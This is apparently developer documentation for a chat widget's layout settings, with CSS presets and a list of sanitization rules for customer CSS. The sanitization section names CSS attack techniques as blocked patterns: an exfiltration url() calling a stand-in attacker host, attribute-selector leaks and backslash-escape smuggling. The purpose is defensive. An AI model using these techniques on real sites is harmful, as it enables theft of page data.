Skip to main content

Widget Layout

Pick a preset, then write CSS. The browser handles every responsive case (mobile, tablet, desktop, ultrawide). We don't reinvent CSS in JSON.

The model

Three fields, saved on WidgetConfig.layout:

FieldTypeNotes
presetfloating | inline | fullscreenCompiles to a default CSS block applied to .apptor-frame.
mountstringStrict #id or .class selector — only used when preset === 'inline'.
customCssstringSanitized CSS targeting .apptor-frame. @media queries allowed.

Presets

floating (default)

Bottom-right corner panel. Auto-fullscreens on phones (@media max-width: 640px). Suitable for any marketing site where you want a Zendesk/Intercom-style chat.

.apptor-frame {
position: fixed;
bottom: 24px;
right: 24px;
width: min(380px, 92vw);
height: min(560px, 80vh);
border: 0;
border-radius: 16px;
box-shadow: 0 24px 60px rgba(0,0,0,0.35);
background: transparent;
z-index: 2147483646;
}
@media (max-width: 640px) {
.apptor-frame {
width: 100vw; height: 100vh;
bottom: 0; right: 0;
border-radius: 0;
}
}

inline

Mounts the iframe into a host-supplied container. Set mount to the container's selector. Fills the container's box.

Example host markup:

<div id="chat-slot" style="width: 100%; height: 600px"></div>

Studio config:

preset: 'inline'
mount: '#chat-slot'

Default CSS:

.apptor-frame {
position: relative;
width: 100%;
height: 100%;
border: 0;
background: transparent;
}

fullscreen

Covers the entire viewport. Useful for mobile-first or dedicated chat URLs.

.apptor-frame {
position: fixed;
inset: 0;
width: 100vw;
height: 100vh;
border: 0;
border-radius: 0;
background: transparent;
z-index: 2147483646;
}

Custom CSS — laptopstore example

The customCss block is appended after the preset, so source order alone gives custom rules the win. To turn the floating preset into a 50vw bottom-centered panel with a cyan glow border:

.apptor-frame {
width: 50vw;
bottom: 24px;
left: 50%;
right: auto;
transform: translateX(-50%);
border: 2px solid #00E5FF;
box-shadow: 0 0 30px rgba(0,229,255,0.20);
}
@media (max-width: 768px) {
.apptor-frame {
width: 100vw;
left: 0;
transform: none;
}
}

Eight lines. Browser handles every viewport.

Sanitization

The customCss is sanitized server-side before persistence. The following are blocked:

  • Selectors that don't start with .apptor-frame — every rule's selector list (including inside @media / @supports / @layer / @container blocks) must target .apptor-frame or a descendant of it. body, html, *, attribute selectors like input[value^="a"], and sibling-class names like .apptor-frame-attacker are rejected. @keyframes bodies are exempt (their selectors are from / to / percentages, not page-targeting). This stops customer CSS from styling, defacing, or DOM-exfiltrating from the host page.
  • Off-site url(...) valueshttp://, https://, // (protocol- relative), file:, and data:text/... URLs are rejected. Only data:image/... inline backgrounds are allowed. Without this rule, background: url(https://attacker.example/?...) would let stylesheet rules exfiltrate host-page state.
  • @import rules (no third-party stylesheet fetches).
  • Backslash escape sequences (used to smuggle banned characters past substring filters, e.g. \7d}).
  • expression(...) (legacy IE).
  • javascript: URLs and data:...javascript URLs.
  • behavior: property (legacy IE).
  • HTML-tag injection (<script, <style, <iframe, etc).
  • At-rules outside the allowlist (@media, @supports, @keyframes, @layer, @charset, @page, @container).

The sanitizer does not parse CSS values for property-level rules — e.g. position: fixed itself is not blocked; instead the .apptor-frame selector scope is what prevents a customer rule from targeting host-page elements. As long as the rule sticks to .apptor-frame, the customer controls every CSS property of the iframe wrapper.

Studio UX

Open Widget Studio for your flow → Layout tab.

  • Preset chips switch the default CSS. Switching presets resets customCss to that preset's default — your previous edits are replaced (with a "Reset to preset default" button to manually restore later).
  • Mount selector input appears only for inline.
  • Monaco CSS editor for customCss.
  • Above the live-preview iframe: viewport toggle (Mobile / Tablet / Desktop / Ultrawide) so you can see your CSS at every size.

Migration

Existing configs without layout default to preset: 'floating', mount: '', customCss: '' — current behaviour is preserved.

Why CSS, not a JSON DSL

Because every responsive primitive — viewport units, clamp(), safe-area insets, breakpoints, animations — already lives in CSS. Re-implementing them in a JSON config would be reinventing CSS, badly. Customers already know CSS; the Studio gives presets for non-technical users and Monaco for everyone else.